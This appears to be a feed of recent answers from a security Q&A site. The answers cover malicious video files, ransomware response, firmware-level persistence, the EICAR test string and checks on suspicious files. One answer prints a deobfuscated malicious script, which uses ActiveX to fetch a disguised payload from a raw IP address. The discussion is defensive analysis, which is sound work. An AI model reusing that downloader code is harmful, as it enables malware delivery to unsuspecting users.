New answers tagged

0

Possibly. Not really with new browsers, as they have better security. However a video cannot cause any damage, unless it forced you to have a full hard disk. However pages can. Mostly if you have plug-ins. Scripts can cause malware, and much more.


-6

As a programmer, the answer is simply put: "No." Video files do not contain executable code. Even if they did, Windows is very different from Linux in design. The two use different binary formats for the OS that are incompatible. What exploits work on Windows normally won't work on Linux. The only thing that a tampered video file could do is trip a bug ...


0

You don't mention what phone it is, when the problem started or where you got it in the first place. I've found that some of the cheaper Android phones and tablets for sale on Amazon come with malware embedded in the firmware itself which installs all sorts of adware and helpful Chinese "utilities," even after deleting all the responsible apps and non-stock ...


4

An increasingly common attack is to use your Google Play Store credentials to force apps onto the device via the web page for the app. If you are seeing apps install automatically this is the likely source. In any event if you got malware on your phone, you really need to change your Google credentials and reset any 2fa tokens or app-specific passwords ...


33

but the implication in the other question is that videos in question have been downloaded and played by media software on the target computer. No it is not. The implication is that there need to be a bug in the code handling the data. For instance the ffmpeg library is used in browsers like Chrome or Firefox and it had several serious bugs in the ...


11

A web browsers video system is just another video player, so the same problems apply which were mentioned in the linked question. The smaller set of supported video codecs greatly reduces the attack surface, but doesn't make bugs in the decoders for these formats inconceivable. The Adobe Flash plugin is renowned for its plethora of security bugs in the past ...


9

Yes, VLC can be hacked. Here you can check CVE list of VLC. But don't panic, just because your VLC freeze, that doesn't necessarily ​mean that someone hacked you. Make sure that your VLC is up to date. Can you submit that file to this website Cuckoo Sandbox and then paste the report here, just out of curiosity let us see, what will heppen when that file is ...


19

Video files by themselves can not contain a "virus" in the classical sense but they can be used to exploits bugs in the media players (or sometimes even the OS) when handling the file formats and codecs. By using these exploits they can then execute code. Like most video players vlc also has/had lots of bugs which could be exploited, including in the ...


5

The attack listed in the referenced question certainly would not work with VLC or Linux. VLC does not support the obscure Windows Media Player DRM it utilizes (at least not to my knowledge), and even if it did, the purpose of the attack is to trick you into downloading and running some Windows executable files. That being said, a different kind of attack is ...


2

Malware can be distributed in various fashions: as directly executable programs, or hidden in other files and formats used as containers. If you apply a process that always decrypts a given file, replacing it with directly executable malware is not very promising, decryption will simply fail. In case of public/private key cryptography (and a known public ...


2

Let's not overestimate the finding of the security consultant because some of them don't really know what they do. Of course I don't know the real report and can base my opinion only on what you wrote. But I had once to do with a report where the consultant complained that the EICAR virus was not found by a firewall when it was used as a subject of a mail, ...


2

Mircosoft Office fileas are actually nothing but glorified zip files. If you change the extention to .zip you can extract the content. There you should find the file word\vbaProject.bin that contains the VBA macros. However, as the extention suggests, this file is binary and is not much help in letting you read the source code. Fortunately Mircosoft has ...


13

In addition to Angel's response, As seen in the popular ransomware variations that you mentioned, the encryption is done on a file by file basis where one file is encrypted and then the plain-text version of the file is removed, then the ransomware moves to the next file. It may start parallel threads to encrypt several files but the outcome is the same for ...


0

From some casual research, it appears there are a couple of programs which use ffmpegsumo.dll, notably - Google Chrome, Google Chrome Frame and MathsBuster - GCSE Maths Higher Level. If you do not have and have never had these programs installed, it could be a problem or it could still be a false positive. As the other files you've detected look to be ...


2

I recently reviewed a student's homework assignment that was written in Python, that: Creates a new temporary directory/folder Does some stuff in that folder Moves the output file to the parent directory/folder Deletes the temporary folder Well at least thats what he thought it did. It actually deletes whatever the current directory is, including the ...


1

Theoretically: yes. Practically: The use case for this is too small to be worth the effort. Lets do a very theoretical excursus on how this could be possible: In theory, every computer communicating with other devices is vulnerable. This is simply due to the fact that interpreting communicated signals always leaves room for error. If such an error is ...


10

They will mostly be file-by-file. Thus, if you are “lucky”, you may find yourself with only some folders infected. There are several reasons for this: Easy to code. Just iterate through every file repeating an encryption routine. Suitable for external programs. Sometimes the ransomware is using a third-party program that works on files for performing the ...


0

Yes this can be done in IPTables by blacklisting known bad addresses. See the following related post for more details: Blacklisting IP addresses -- when should we take action?


2

If you have your system set up so that only connections to your bank (eg. www.bank.com and www.bankcompany.net IPs) were possible, a redirect to a third site wouldn't load. The exploiit would need to be hosted on the same site as your bank (which is admittedly rare). As with many security solutions, it's possible that some bank update makes the website not ...


1

I can't say for sure, much like a car mechanic couldn't diagnose a problem without actually seeing it but here's what I can say. Remember that your computer is only 1 of many devices on your network. There's at least 1 more computer on your network, and that's your router. You may not know it, but it's a computer running an operating system, and is ...


0

If you are talking about EMET - Enhanced Mitigation Experience Toolkit form Microsoft I think not. (not sure) At least I always download the latest version and install it. The new versions do not come out that often... If you want to download the newest version just backup the xml files that have the settings. If you are using the default that will be ...


1

It's pretty difficult to speculate on the cause with so little information to go on. It could be that someone else on your same network was infected and when you re-installed with a fresh OS you simply got re-infected before you could run your updates and install anti-virus. On the other hand it's not impossible that you did have some sort of malware ...


0

I would say it's more likely that this is hardware failure or software misconfiguration, than malware. Particularly given you said that you were messing around with settings (I'm assuming in the BIOS)? Bad RAM is another possible option, as is a faulty power supply causing either unclean shutdowns or excessive noise causing data errors.


-4

On a piece of paper, which is then typed in at the keyboard (or OCRed?). The most obvious is the EICAR test virus signature: "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR" "-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" If you join the two strings together and save it as an executable file (a ".com" file on MSDOS or 32-bit Windows platforms) then any self-respecting ...


2

In case you are using a custom CPU working as an harvard architecture based design, a virus can inject the ROM that the instruction codes are stored in but it is a very very hard process to change a ROM value that way . Still it is an injection


6

There were a few things that came to mind when I read the question that extend beyond the scope of the example given. There are other places that a virus can be stored besides on a hard drive or even on a computer. A couple of those places would be bacteria (specifically E. coli) and your DNA. According to some research performed cerca 2010 that proved that ...


2

The answer is YES, they can hide in many other places, not only into your HDD, but also into other storage devices you have connected to your PC. In early days, I use to have lot of issue with CD/DVD "Autorun" option in my Microsoft Windows. Virus were so capable to automatically create "Autorun.inf" into burning media and use to run and infect ...


5

In addition to an excellent Polynomial's answer, there are some more options: another device on the network, obviously (e.g. another computer infecting samba shares, router adding exploit to its web page, ...) USB device (e.g. flash disk) secretly changing to a keyboard and typing/downloading the malware to the host computer


12

One of most common but unchecked places is... a peripherial with "embedded driver disk", like lots of 3G/4G USB sticks. They have — technically — a hub inside, and a Generic Storage + the device itself on it. Upgrading its firmware usually upgrades a disk image mounted to the generic storage part. It's read-only from PC in regular use, but it's ...


197

Plenty of places: BIOS / UEFI - BlackHat presentation (PDF) System Management Mode (SMM) such as Intel Management Engine (IME) - Phrack article. GPUs - Proof of concept rootkit on GitHub. Network cards - Recon 2011 presentation (PDF) A Quest To The Core (PDF) - a good presentation covering everything from BIOS to SMM to microcode. Modern hardware has a ...


10

The main problem for any kind of storage is that the system must be willing to execute the malware. During the boot of the operating system this means it has to be somewhere as an executable, DLL, driver or similar on the hard disk. It does not need to be fully there, i.e. it can be a small loadable stuff and the rest might reside somewhere else (even in the ...


40

The short answer to your question is yes. Here are some places where a virus could hide: On the firmware of your keyboard, mouse, webcam, speakers, etc. Basically anything you connect to your computer that has a writable firmware. On your hard drive firmware. Sort of on your hard drive, but still survives a reformatting. The NSA are likely suspects for ...


2

Not sure whether any other part of computer was used by virus,but long back came across BADBIOS What does bad bios do? Radio (SDR) program code, even with all wireless hardware removed. It is said to infect the firmware on USB sticks. It is said to use TTF (font) files, apparently in large numbers, as a vector when spreading. Apart from the above its ...


-5

The CPU cache it is resetted every time you reboot your PC. Also you can write only on Hard Disk, or any removable peripherals


1

Ransomware is spreading just because people is paying it, questions and answers help getting Ransomware a reputation that is likely to make people paying. It is much better investing some money in a good anti-virus than having to pay later to recover your data. If interrupting the process in the middle may be harmful (because developers wanted you not try ...


6

Shut the computer down immediately. Provided you're not about to pay the ransom, any data that the virus is processing is lost anyway. So just push down the power button and hold it, or unplug the wire. Install Ubuntu or another portable Linux distribution onto your USB stick. Last time I did this it did fit on 2GB stick. I was cloning my HDD to SSD with ...


53

What I would do: Suspend the proces. Don't kill it, just pause it. Look in the process tree if there are any parents that might need suspending as well. Pull the network cable and/or turn off WiFi (and if you're paranoid, Bluetooth too). Check open files by those processes to see which one it is currently encrypting. If it's a particularly important one, ...


131

Hibernate the computer If the ransomware is encrypting the files, the key it is using for encryption is somewhere in memory. It would be preferable to get a memory dump, but you are unlikely to have the appropriate hardware for that readily available. Dumping just the right process should also work, but finding out which one may not be trivial (eg. the ...


9

[Mod Note: This answer is receiving a lot of flags, but is not worthy of deletion. This is a potentially valid course of action, though risky and potentially illegal in some jurisdictions. From a technical standpoint, this has a chance of being a way to preserve the data. Please see Meta for further discussion.] The best thing to do is nothing. Doing ...


7

In addition to the shutdown & copy approach others have mentioned there's another factor: The ransomware wants to hide what's going on until it's finished it's evil--thus the encrypted files are usually still readable as if they weren't encrypted until it's ready to demand it's ransom. Once you have located the files that matter and are encrypted put ...


51

Ransom-ware (or any encryption software for that matter) will not encrypt the file in-place, because the encrypted filesize will not match the unencrypted filesize bit-for-bit (unless it's just an xor shuffle, in which case it's not really encryption). More importantly, a spontaneous abortion of the encryption process (due to a shutdown, running out of ...


0

I must agree that Kaspersky or similar anti-virus is a program that should be used first. However, don't forget the second option solution because the most of the latest viruses spreads in one pack with different components like browser hijackers, BHOs, etc. In this case, I would recommend you to try Malwarebytes. If you are not willing to install any ...


1

What makes you think that's a virus? Ok, according to VT there is only one detection by NANO-Antivirus. In cases like this one, I like to check file in sandbox to see what's happening. So based on static and dynamic analyze with cuckoo sandbox, I don't see nothing which indicate to be a malicouse file. File Name vtuploader2.2.exe File Size 142744 bytes ...


0

Yes, It looks like a malicious code. This type of code is not allowed in the context of browsers. Moreover, the code is more or less, compatible with Microsoft Internet Explorer and Microsoft Windows Operating System, as other browsers doesn't support ActiveX technology of Microsoft.


6

It most certainly is malware. It uses ActiveX to open up a shell with cmd.exe. This is the deobfuscated version: function zQlMdib() { var asupcI = new ActiveXObject("MSXML2.XMLHTTP"); asupcI['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false); var OnvPPuGD = WScript['ScriptFullName']; asupcI['send'](); if (asupcI['Status'] ...


1

Only 1 of 55 scanners detected anything and the report says Probably harmless! There are strong indicators suggesting that this file is safe to use I'd go with trusting the file.


0

First of all, as @Steffen Ullrich suggests, a redirect is not automatically malicious, even if it is definitely possible. In particular, I analyzed the URLs you quoted with VirusTotal, and they don't seem to be malicious. It is not clear why the second URL includes parameters related to your IP address, ISP, browser version, etc. , but keep in mind that ...


0

Existence if such redirects by itself does not mean malware in all cases, but it can be. Very often you will find such redirects when ads gets served because ad-delivery is today usually a multi-step process with several parties involved. This is especially true with targeted ads and real-time ad-bidding networks. In such delivery chains each of the party ...



Top 50 recent answers are included